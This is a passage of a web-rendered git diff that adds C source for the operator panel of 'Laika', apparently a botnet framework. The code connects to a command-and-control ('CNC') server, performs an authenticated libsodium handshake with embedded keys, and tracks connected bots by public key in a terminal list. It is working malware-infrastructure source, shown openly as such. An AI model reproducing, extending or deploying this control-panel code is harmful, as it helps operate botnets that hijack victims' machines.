case LIST_TABS: return panelL_tickTabs((tPanel_tabs*)list, ch);
|
||||
case LIST_MENU: return panelL_tickMenu((tPanel_menu*)list, ch);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
void panelL_setHidden(tPanel_list *list, bool hidden) {
|
||||
list->hidden = hidden;
|
||||
}
|
||||
|
||||
void panelL_setTimeout(tPanel_list *list, int timeout) {
|
||||
wtimeout(list->win, timeout);
|
||||
}
|
45
panel/src/pbot.c
Normal file
45
panel/src/pbot.c
Normal file
@ -0,0 +1,45 @@
|
||||
#include "lmem.h"
|
||||
#include "lerror.h"
|
||||
#include "pbot.h"
|
||||
|
||||
#include "panel.h"
|
||||
|
||||
tPanel_bot *panelB_newBot(uint8_t *pubKey) {
|
||||
tPanel_bot *bot = laikaM_malloc(sizeof(tPanel_bot));
|
||||
bot->name = laikaM_malloc(256);
|
||||
|
||||
sodium_bin2hex(bot->name, 256, pubKey, crypto_kx_PUBLICKEYBYTES);
|
||||
|
||||
/* copy pubKey to bot's pubKey */
|
||||
memcpy(bot->pub, pubKey, crypto_kx_PUBLICKEYBYTES);
|
||||
|
||||
return bot;
|
||||
}
|
||||
|
||||
void panelB_freeBot(tPanel_bot *bot) {
|
||||
laikaM_free(bot->name);
|
||||
laikaM_free(bot);
|
||||
}
|
||||
|
||||
/* search connected bots by public key */
|
||||
tPanel_bot *panelB_getBot(uint8_t *pubKey) {
|
||||
tPanel_listItem *curr = panel_botList->itemHead;
|
||||
tPanel_bot *bot;
|
||||
|
||||
while (curr != NULL) {
|
||||
bot = (tPanel_bot*)curr->uData;
|
||||
|
||||
/* check pubKeys */
|
||||
if (memcmp(pubKey, bot->pub, crypto_kx_PUBLICKEYBYTES) == 0)
|
||||
return bot; /* they match! */
|
||||
|
||||
curr = curr->next;
|
||||
}
|
||||
|
||||
/* no match found :( */
|
||||
return NULL;
|
||||
}
|
||||
|
||||
void panelB_setItem(tPanel_bot *bot, tPanel_listItem *item) {
|
||||
bot->item = item;
|
||||
}
|
193
panel/src/pclient.c
Normal file
193
panel/src/pclient.c
Normal file
@ -0,0 +1,193 @@
|
||||
#include "lmem.h"
|
||||
#include "lerror.h"
|
||||
#include "pclient.h"
|
||||
#include "panel.h"
|
||||
|
||||
void handleHandshakeResponse(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
|
||||
tPanel_client *client = (tPanel_client*)uData;
|
||||
uint8_t endianness = laikaS_readByte(&peer->sock);
|
||||
|
||||
peer->sock.flipEndian = endianness != laikaS_isBigEndian();
|
||||
}
|
||||
|
||||
void handleAddPeer(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
|
||||
uint8_t pubKey[crypto_kx_PUBLICKEYBYTES];
|
||||
uint8_t type;
|
||||
|
||||
/* read newly connected peer's pubKey */
|
||||
laikaS_read(&peer->sock, pubKey, crypto_kx_PUBLICKEYBYTES);
|
||||
|
||||
/* read peer's peerType */
|
||||
type = laikaS_readByte(&peer->sock);
|
||||
|
||||
/* add peer */
|
||||
switch (type) {
|
||||
case PEER_BOT: {
|
||||
tPanel_bot *bot = panelB_newBot(pubKey);
|
||||
panelC_addBot(bot);
|
||||
break;
|
||||
}
|
||||
default:
|
||||
LAIKA_WARN("unknown peer type? [%d]\n", type);
|
||||
}
|
||||
}
|
||||
|
||||
void handleRmvPeer(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
|
||||
uint8_t pubKey[crypto_kx_PUBLICKEYBYTES];
|
||||
uint8_t type;
|
||||
|
||||
/* read newly connected peer's pubKey */
|
||||
laikaS_read(&peer->sock, pubKey, crypto_kx_PUBLICKEYBYTES);
|
||||
|
||||
/* read peer's peerType */
|
||||
type = laikaS_readByte(&peer->sock);
|
||||
|
||||
/* find peer by pubkey & rmv it */
|
||||
switch (type) {
|
||||
case PEER_BOT: {
|
||||
tPanel_bot *bot = panelB_getBot(pubKey);
|
||||
if (bot != NULL)
|
||||
panelC_rmvBot(bot);
|
||||
break;
|
||||
}
|
||||
default:
|
||||
LAIKA_WARN("unknown peer type? [%d]\n", type);
|
||||
}
|
||||
}
|
||||
|
||||
LAIKAPKT_SIZE panelC_pktSizeTbl[LAIKAPKT_MAXNONE] = {
|
||||
[LAIKAPKT_HANDSHAKE_RES] = sizeof(uint8_t),
|
||||
[LAIKAPKT_AUTHENTICATED_ADD_PEER] = crypto_kx_PUBLICKEYBYTES + sizeof(uint8_t), /* pubkey + peerType */
|
||||
[LAIKAPKT_AUTHENTICATED_RMV_PEER] = crypto_kx_PUBLICKEYBYTES + sizeof(uint8_t), /* pubkey + peerType */
|
||||
};
|
||||
|
||||
PeerPktHandler panelC_handlerTbl[LAIKAPKT_MAXNONE] = {
|
||||
[LAIKAPKT_HANDSHAKE_RES] = handleHandshakeResponse,
|
||||
[LAIKAPKT_AUTHENTICATED_ADD_PEER] = handleAddPeer,
|
||||
[LAIKAPKT_AUTHENTICATED_RMV_PEER] = handleRmvPeer,
|
||||
};
|
||||
|
||||
tPanel_client *panelC_newClient() {
|
||||
tPanel_client *client = laikaM_malloc(sizeof(tPanel_client));
|
||||
size_t _unused;
|
||||
|
||||
laikaP_initPList(&client->pList);
|
||||
client->peer = laikaS_newPeer(
|
||||
panelC_handlerTbl,
|
||||
panelC_pktSizeTbl,
|
||||
&client->pList,
|
||||
(void*)client
|
||||
);
|
||||
|
||||
/* load authenticated keypair */
|
||||
if (sodium_init() < 0) {
|
||||
panelC_freeClient(client);
|
||||
LAIKA_ERROR("LibSodium failed to initialize!\n");
|
||||
}
|
||||
|
||||
if (sodium_hex2bin(client->pub, crypto_kx_PUBLICKEYBYTES, LAIKA_PUBKEY, strlen(LAIKA_PUBKEY), NULL, &_unused, NULL) != 0) {
|
||||
panelC_freeClient(client);
|
||||
LAIKA_ERROR("Failed to init public key!\n");
|
||||
}
|
||||
|
||||
if (sodium_hex2bin(client->priv, crypto_kx_SECRETKEYBYTES, LAIKA_PRIVKEY, strlen(LAIKA_PRIVKEY), NULL, &_unused, NULL) != 0) {
|
||||
panelC_freeClient(client);
|
||||
LAIKA_ERROR("Failed to init private key!\n");
|
||||
}
|
||||
|
||||
/* read cnc's public key into peerPub */
|
||||
if (sodium_hex2bin(client->peer->peerPub, crypto_kx_PUBLICKEYBYTES, LAIKA_PUBKEY, strlen(LAIKA_PUBKEY), NULL, &_unused, NULL) != 0) {
|
||||
panelC_freeClient(client);
|
||||
LAIKA_ERROR("Failed to init cnc public key!\n");
|
||||
}
|
||||
|
||||
return client;
|
||||
}
|
||||
|
||||
void panelC_freeClient(tPanel_client *client) {
|
||||
laikaS_freePeer(client->peer);
|
||||
laikaP_cleanPList(&client->pList);
|
||||
laikaM_free(client);
|
||||
}
|
||||
|
||||
void panelC_connectToCNC(tPanel_client *client, char *ip, char *port) {
|
||||
struct sLaika_socket *sock = &client->peer->sock;
|
||||
|
||||
/* setup socket */
|
||||
laikaS_connect(sock, ip, port);
|
||||
laikaS_setNonBlock(sock);
|
||||
|
||||
laikaP_addSock(&client->pList, sock);
|
||||
|
||||
/* queue handshake request */
|
||||
laikaS_startOutPacket(client->peer, LAIKAPKT_HANDSHAKE_REQ);
|
||||
laikaS_write(sock, LAIKA_MAGIC, LAIKA_MAGICLEN);
|
||||
laikaS_writeByte(sock, LAIKA_VERSION_MAJOR);
|
||||
laikaS_writeByte(sock, LAIKA_VERSION_MINOR);
|
||||
laikaS_write(sock, client->pub, sizeof(client->pub)); /* write public key */
|
||||
laikaS_endOutPacket(client->peer);
|
||||
laikaS_setSecure(client->peer, true);
|
||||
|
||||
if (crypto_kx_client_session_keys(client->peer->inKey, client->peer->outKey, client->pub, client->priv, client->peer->peerPub) != 0)
|
||||
LAIKA_ERROR("failed to gen session key!\n")
|
||||
|
||||
/* queue authenticated handshake request */
|
||||
laikaS_startOutPacket(client->peer, LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ);
|
||||
laikaS_writeByte(sock, PEER_PANEL);
|
||||
laikaS_endOutPacket(client->peer);
|
||||
|
||||
if (!laikaS_handlePeerOut(client->peer))
|
||||
LAIKA_ERROR("failed to send handshake request!\n")
|
||||
}
|
||||
|
||||
bool panelC_poll(tPanel_client *client, int timeout) {
|
||||
struct sLaika_pollEvent *evnt;
|
||||
int numEvents;
|
||||
|
||||
evnt = laikaP_poll(&client->pList, timeout, &numEvents);
|
||||
|
||||
if (numEvents == 0) /* no events? timeout was reached */
|
||||
return false;
|
||||
|
||||
LAIKA_TRY
|
||||
if (evnt->pollIn && !laikaS_handlePeerIn(client->peer))
|
||||
goto _CLIENTKILL;
|
||||
|
||||
if (evnt->pollOut && !laikaS_handlePeerOut(client->peer))
|
||||
goto _CLIENTKILL;
|
||||
|
||||
if (!evnt->pollIn && !evnt->pollOut)
|
||||
goto _CLIENTKILL;
|
||||
LAIKA_CATCH
|
||||
_CLIENTKILL:
|
||||
laikaS_kill(&client->peer->sock);
|
||||
LAIKA_TRYEND
|
||||
|
||||
/* flush pList's outQueue */
|
||||
if (client->pList.outCount > 0) {
|
||||
if (!laikaS_handlePeerOut(client->peer))
|
||||
laikaS_kill(&client->peer->sock);
|
||||
|
||||
laikaP_resetOutQueue(&client->pList);
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
void panelC_addBot(tPanel_bot *bot) {
|
||||
tPanel_listItem *bItem;
|
||||
|
||||
/* add to botList tab */
|
||||
bItem = panelL_newListItem(panel_botList, NULL, bot->name, NULL, (void*)bot);
|
||||
|
||||
/* link bot with listItem */
|
||||
panelB_setItem(bot, bItem);
|
||||
}
|
||||
|
||||
void panelC_rmvBot(tPanel_bot *bot) {
|
||||
tPanel_listItem *bItem = bot->item;
|
||||
|
||||
/* free from bot list & then free the bot */
|
||||
panelL_freeListItem(panel_botList, bItem);
|
||||
panelB_freeBot(bot);
|
||||
}
|
Loading…
Reference in New Issue
Block a user